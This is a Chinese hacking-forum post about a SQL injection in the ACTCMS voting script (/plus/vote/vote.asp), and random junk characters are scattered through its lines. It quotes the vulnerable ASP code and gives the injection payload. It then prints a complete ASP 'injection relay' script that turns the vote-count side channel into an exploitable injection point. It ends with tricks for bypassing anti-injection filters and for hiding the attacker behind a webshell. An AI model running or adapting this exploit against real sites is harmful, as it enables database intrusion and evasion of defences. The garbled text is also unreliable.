4 z& x1 a) L! p `& X; B2 `$ {
看到ninty大牛的blog的一篇文章
+ B Z: R: M4 ]( j链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
/ b1 Y. t5 _% o关于actcms漏洞的利用 by 3x qq:381862589
$ @( S' `# _7 S @转载请注明以上( u' b( T" p1 i3 D
漏洞文件:8 e4 x- u3 Q* `6 u3 ^3 d
/plus/vote/vote.asp; l/ c) p; |; K5 I% G
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then * \, {/ M& m& h* j; w. {! V
( u) C8 Y/ A" C# ~1 C' `0 m# o2 response.write "<script>alert('请选择投票项目。');window.close()</script>" & m" K5 d6 ^" D0 c9 w- d4 P
# y4 C' x/ [* y" C) H1 T7 y
3 response.end ! e& K, S0 e* O
5 H) a1 k# H3 n& i# U h4 end if
4 X n1 |- J2 K. e! M0 i4 u1 B/ A
5 for i=1 to request("voted").count 0 q. `4 n7 p/ \, L3 Q
% F. S' N/ }$ v8 o6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
: y; I# U+ ~6 E0 _$ ]' S
7 L k! R6 Y' M2 ^' m7 next + y$ z% S' X7 {8 n8 M8 _; L
* l8 i: H8 ^/ m# a, O* _- O8....
8 D o; f. Y3 h5 S/ }
9 W* e9 S" j+ q5 Y# Z4 w; W9 R" p* G" L3 Y9response.Redirect "index.asp?id="&id&"" 1 ^! X* @2 n# N0 ?7 y- i
投票结束回跳转回index.asp这个投票结果页面
, w+ @! p+ p; r7 c, l+ N如果投票成功票数加1
! \! U# v/ U& c: l; R" }* ?2 ^ 失败票数不变
# y, B; Y6 F$ f8 ]+ ^如图:
! b3 z3 `; k2 }$ Q# @, N% Zhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
! @0 o) X4 G7 `6 U6 L* n+ B) H, X: f1 A
2009-12-27 13:201 g5 ]5 o8 p4 T" c" f
6 T" H+ D9 ^* E2 _; }+ o利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
0 s, @5 W8 }3 O; ]" X: ^5 k+ r) j E
本帖隐藏的内容需要回复才可以浏览
0 w. \6 K( l# ~6 E5 O. k x我们用注入中转来实现这个注入具体代码如下:) [1 O0 m' E+ I! T$ b- u" K
先用寂寞的刺猬大牛的注入中转生成jmget.asp
: F+ c$ @" Y0 _6 W6 q, a注入地址:http://localhost/actcms/plus/vote/vote.asp
7 h* ?* a' _( O注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项7 [; B1 J8 A" v4 k& j8 u
" W# C: `9 F5 ]& Q; H# l P1 C然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% " h5 r' d0 ?/ f' ~) m8 P, P
/ ]( O9 X3 k4 [" K/ e8 g4 M
02JmdcwName=request("jmdcw") - P. u! K4 M( C3 G! n z
( X) C2 Z k, D3 Y% u4 G
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
% h" ~0 F% Q3 t+ S# v# k
$ y7 R6 Z6 {0 I7 R04JmStr="id=1&voted=-1 or 1="&JmdcwName
5 f3 f5 J3 y% q( s& B' ]% ?4 a9 z; q3 N* ~* G+ ^
05JmStr=URLEncoding(JmStr) ( C; @8 Y# X( V4 z
3 z/ n4 i" p1 s% Q06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
7 W/ Z: q* l, n$ e8 O: O9 d5 g! |; W- X. G( c
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp": j4 U7 t9 g/ h T+ b
- A: Z# E1 Q$ p8 C/ |
08testurl=testurl & "?" & JmStr
5 l$ {1 l; V; y/ _- e: k4 |( x' t) N ]3 g' M6 m( ]
09JMUrl=JMUrl & "?" & JmStr 7 k7 d; N, F( K. h+ r3 p
# ]+ W) m: T5 L8 D. n3 g' T
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp" U6 F' H# O9 [
; W8 @) S, q# G1 m% V11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
1 p9 h; o+ ] [: F# A) a; h
7 y$ Q) W3 l$ _( j8 j4 A5 w12JmCok=replace(JmCok,chr(32),"%20")
@: D0 f5 Q$ W- j' {2 y% R; e* Z! U2 ]# O
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
' m" U; \) p+ Q: S5 f
+ M4 O/ p4 F' B- B4 l14
' e! T, v0 A+ N4 q$ L# q8 h" r0 Y$ g7 F8 j' C) u0 Q
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
3 E" v+ \# F/ P* I5 o X- j# P6 w# o2 _
16 + s: r5 @) h$ Q4 l" d
% S0 r4 E+ F" @' Z5 r
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 $ N( h( ^7 J. p% \" T
# f1 O+ [8 ?; L, y18response.write test1&""&test2&""
1 u/ a1 R# v# n+ o3 L1 q/ S( |$ w, y: b; d/ q* k
19 4 F) d6 b% B% n& J* H8 A9 x; w: i
# c0 f7 X8 {9 S% ^ e20if test1=test2 then '如前后记录相等,表示失败 # x8 E: O9 w; T2 q$ }. _* n
& b1 Z8 J% H' ~& p/ U0 d9 b21 response.write "failed"
6 y9 D+ `* {4 V' F
/ Z: `' I J9 }6 @4 F. I22else
, P2 C! Y1 R/ X* ]
3 H6 b: X1 _6 s3 ^9 t% |4 h4 ~6 }23 response.write "succeed"; r; w% B( k/ \* V" M* d1 d
' j4 z# M8 I$ V3 _/ R24end if / @# p: l7 V. q: y% F/ O( T
8 T V7 K2 S7 A/ S0 K% j9 [8 \25
; h7 t1 y# Q4 n+ ~+ A: d3 U9 ? x8 X( P; D U& e- N1 m, |
26response.write "by 3x"
( {0 x# f+ _( a' Z$ e, ^: `( M# j+ C8 R% g
27 4 I; k. V! J# T8 U) z. Z
6 o$ p( e- Z$ R5 q- N7 C: B& @% \" L28 % P3 f: g s0 i& o! J
2 r* R" _0 [! g29Function PostData(PostUrl,PostStr,PostCok,PostRef) 4 p) y. [! X3 `( \, \6 {% P
: I4 @, T1 M5 r- @& n, J
30Dim Http
1 k! O/ t9 z7 u" Y
$ B6 B" J1 c. _2 n8 M! A) A7 Q31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
: ^+ }$ @0 o$ J u* ^! F+ ^) K0 S7 Z" P+ E; t$ Z- i: x8 @ h
32With Http 2 _0 F8 ?" T" K( C# X0 v& E
1 W+ A- j. S% _; ]) O# j
33
' Q& F% {! m; r: K( ]4 F; q& {( o- G: i* |9 m4 F/ n/ z5 m; r7 v- l
34.Open "GET",PostUrl,False
3 x( A- B- w+ t Y0 B4 y3 I+ Q- b: ^' k
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
2 d! k2 V- b' Z2 b% v1 r h0 D8 x$ V2 o4 Q3 M9 q: D$ c5 g
36.SetRequestHeader "Referer",PostRef
; [8 O, D8 l5 v/ k& z# X3 P4 y( a+ _* b% }
37.SetRequestHeader "Cookie",PostCok 0 e- ~: c! ]* U3 t$ X$ X5 o; F, ^
* ^( u* U( _7 S38.Send ()
3 T, I! B, z. {: @5 C. l9 e4 }- ~6 b8 A- C2 M b2 E D
39PostData = .ResponseBody
2 D' T, }9 P' \) w5 d) O, o y) m3 O' X
40End With. ` c' \+ g3 {; Q
4 F' K# V7 A% t9 x! r41Set Http = Nothing
" l5 R7 k( C f6 n$ v9 l2 W9 K2 ]2 V# T8 T, q
42PostData =bytes2BSTR(PostData) - ~8 ~6 x, L, @' G6 i+ d% `
/ @ ?6 @5 g$ n( r+ h! _3 X a
43End Function8 _# y! w L9 ^ `2 ~% a
4 [5 s$ ^& g/ _0 R; m* Q
44
: H5 f i3 Q/ M( [/ d% l: T; E4 C
45
$ X7 Y' n! Y+ P0 B1 K/ Q2 O# O% B4 y( p# A
46Function bytes2BSTR(vIn) 6 h2 i; s1 u$ f1 I6 n) n
; Q1 x* o7 z$ Q$ m, w
47Dim strReturn % ?5 p/ D( @; b$ r( ^
9 s" E h9 h, _48Dim I, ThisCharCode, NextCharCode
, R( l; N8 u$ E/ K
2 O( u* F o9 p+ R9 w1 W. N49strReturn = ""& I2 e! F) X% Z {2 s
, R; Y/ _4 j- A# p6 |50For I = 1 To LenB(vIn) 6 G+ p t5 [/ R
9 ~# ?; x- f+ C' g2 _; j% [
51ThisCharCode = AscB(MidB(vIn, I, 1))
- @& |3 v2 X- A% L, ?1 R2 X: D7 n: A/ O8 i U/ v; _0 m
52If ThisCharCode < &H80 Then
, A5 n! ^; V8 g2 c2 r. \
# N9 {. T2 w! k- n3 d/ F; k7 d3 z53strReturn = strReturn & Chr(ThisCharCode) ( u5 w& o% v5 L
" b" x; `: R/ m: M K9 ?4 i
54Else2 Z4 |, p0 g1 Z4 H( d3 O2 b$ ?
* {* s# `7 g. Q9 P8 _" d+ t
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
, T" r$ _! _' o" T7 P+ H3 `, O9 @' w( ~/ l
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 3 X) A) L7 `/ I: C2 t. P- B3 L
. Z/ D, {$ Z* A# h& c4 c$ |: w6 [2 Z
57I = I + 1
9 w; P6 }( Q! I* S" f( i N" b( j% n, t* a- N
58End If; c% J& f( N j: n% c, d2 X
* M1 h9 u# b8 v5 b
59Next' c( D6 B* R0 I& G3 x( H0 m
/ k0 T! h$ q5 j" [& A$ F& F60bytes2BSTR = strReturn " }' N" L V# M7 J, \( a( l5 s% H
& I# w& w' m- G& k! D% G6 p) ~, f61End Function
& s3 _2 s5 ?* o/ s5 H, B1 ^' H& S) {
0 h: a. b0 k$ d' G# R" g( g) x62
4 w: V: S, [2 p9 N8 K2 t4 C. k* u/ O: v
3 Y5 }4 _: v: X" O! X8 j( ]- [; j63Function URLEncoding(vstrin) 9 E3 ?* O! P; I! C0 q
4 D" Q$ `, x/ v" r# _! @1 h
64strReturn=""
8 K" a/ Y* A0 q- `8 }. s& z# e; X7 [2 h" O. W) T* Y( a
65Dim i 9 R( ~& }' w( Z* H6 k8 t! @
( k% h1 X1 c: M! b# D( ]( N. r66For i=1 To Len(vstrin)
1 z. F# I( U+ |5 E) G d9 J) S6 }4 R' G- W* m$ Y
67ThisChr=Mid(vstrin,i,1) ; w" G' v5 u% ^
/ i) Y7 i% p" T% X9 f68if Abs(Asc(ThisChr))< &HFF Then( N5 v( h f$ ]# n
( n0 D) F* B" R& W3 E/ P0 e- d69strReturn=strReturn & ThisChr 8 T) d6 W1 N$ G, X3 V" o. @
}0 p0 Q+ l6 p) n4 \- G% S1 V" [70Else" b' k* o* k, K5 Q2 h" u
# `$ d! d3 |: `/ S
71InnerCode=Asc(ThisChr)
! C- ?% e) j5 w" N. D- Y* w, K$ P
, U4 C6 t% V% k" I1 _72If InnerCode<0 Then
) x& P. O6 I( Z1 k" `
& s6 ^% |' Z+ N$ n* M& u V4 k73InnerCode=InnerCode + &H10000
, {6 z4 S4 b# C4 l4 ]2 u' J, w, u% z4 W7 A3 I& j1 s
74End If
* x0 K1 ~9 U" q# L: B8 R0 ]% j4 M1 x# p, ?$ m
75Hight1=(InnerCode And &HFF00) \&HFF
- t5 [! D8 M- H" n+ n- ]' J: w# g/ P
2 J2 W$ Z$ `+ t2 j6 P76Low1=InnerCode And &HFF
3 r; v; [8 C/ P! X) b8 e+ c+ S
, \- m! d; M) J) H77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) . q( L( O! f' W& x [
, a/ T3 c" r3 Q6 R! [5 g; I
78End if / a. S- [' e& F0 j H4 R
* H" l3 U& M0 M0 J- F( U
79Next9 C. y: L9 @% A; L1 U- @
1 s' n$ S K! R; U
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
$ K8 C/ t; G5 I* h9 p6 Q7 }- o* N' p! q# v1 N
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
& ]7 `* \; p, }/ s: J$ g
n( s4 U3 L+ D! x+ v82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 4 U' d' I! Q$ R9 N
# C, Q |, q( Z
83URLEncoding=strReturn
, c1 G+ e* D) r7 F5 o/ s7 Y
1 s- Q0 Y7 m- l5 N( _84End Function
/ h7 U/ _. ?- _7 ?
8 o# G0 w; o3 G7 V* i! G8 A85
+ A5 M' H* @' h4 V' I7 k3 h Z( E8 f# P( G/ x/ r$ z! \
86function getSt(body)
/ s0 E* @2 ^/ f6 I( V9 H; m/ f! h8 b5 \& _' A/ z
87 startpot=instr(body,"投票人数:")+len("投票人数:") ! b& A! G! a4 X* W
! L) b0 v! S3 a% s( \$ Z- S: i
88 endpot=instr(startpot,body," ")
q2 Y! U6 c/ }: L; |2 {
, L) r9 P$ ~7 q# t89 getSt=mid(body,startpot,endpot-startpot) l0 D, J, V/ @8 n$ H# }
/ H0 C- B9 {5 N% _3 G( N( s, z
90end function
9 }) {" Q9 ~5 z/ v1 b5 b
9 {4 I8 z/ e+ g6 o8 v91%>) Q( y6 L" b2 d$ t& \8 t$ ?+ u
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
) _ l0 g) G& G/ `测试下效果:
% J' m7 V, o- o投票成功:0 b2 n) t3 z8 c) J% U8 j* \
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)/ W8 b. G. j" S. M1 \$ L9 F
6 D# l" O, u1 {% H& ~
2009-12-27 13:29
7 Y6 `5 d0 `: k7 m6 @# l5 y$ |投票失败( U/ B) z: y3 P% G# L; y
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
; \ r% I6 ?5 u+ U, b5 ^
4 w$ c, s+ @ J) n+ t2009-12-27 13:29
* ?4 f V/ Q) e* \-------------------------------------------------------------------------------
0 g) t$ Y$ I0 v, V8 q) |4 B, a! I" R再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
' g! w- c. d5 ?% [$ ?# e4 H$ x, G很抱歉。。。只能用单线程工具去注入。。。。。
& O9 K1 q5 Z6 G3 h所以失败。。。不好意思。。。
} U1 U$ i8 C. `-------------------------------------------------------------------------------
& D6 k' B& ^# T8 \% o% D1 Q
: }: b) t8 Q$ G7 I: E7 v注入中转的一些其他应用
/ A+ d6 V& R. ^其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了6 u: ~# X, P: Z
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id4 ^9 h) D/ q% M1 x/ ^* Q7 @# c5 M. a
2.post注入转成get型的注入,方便我们使用工具来跑
. N' J1 {& p9 D* m4 Q3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")1 ], [7 ?, \! s! ?* y$ \/ t6 ^
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过2 C3 h* H3 k* i) M5 }
5 N4 [: F9 x- r! R
|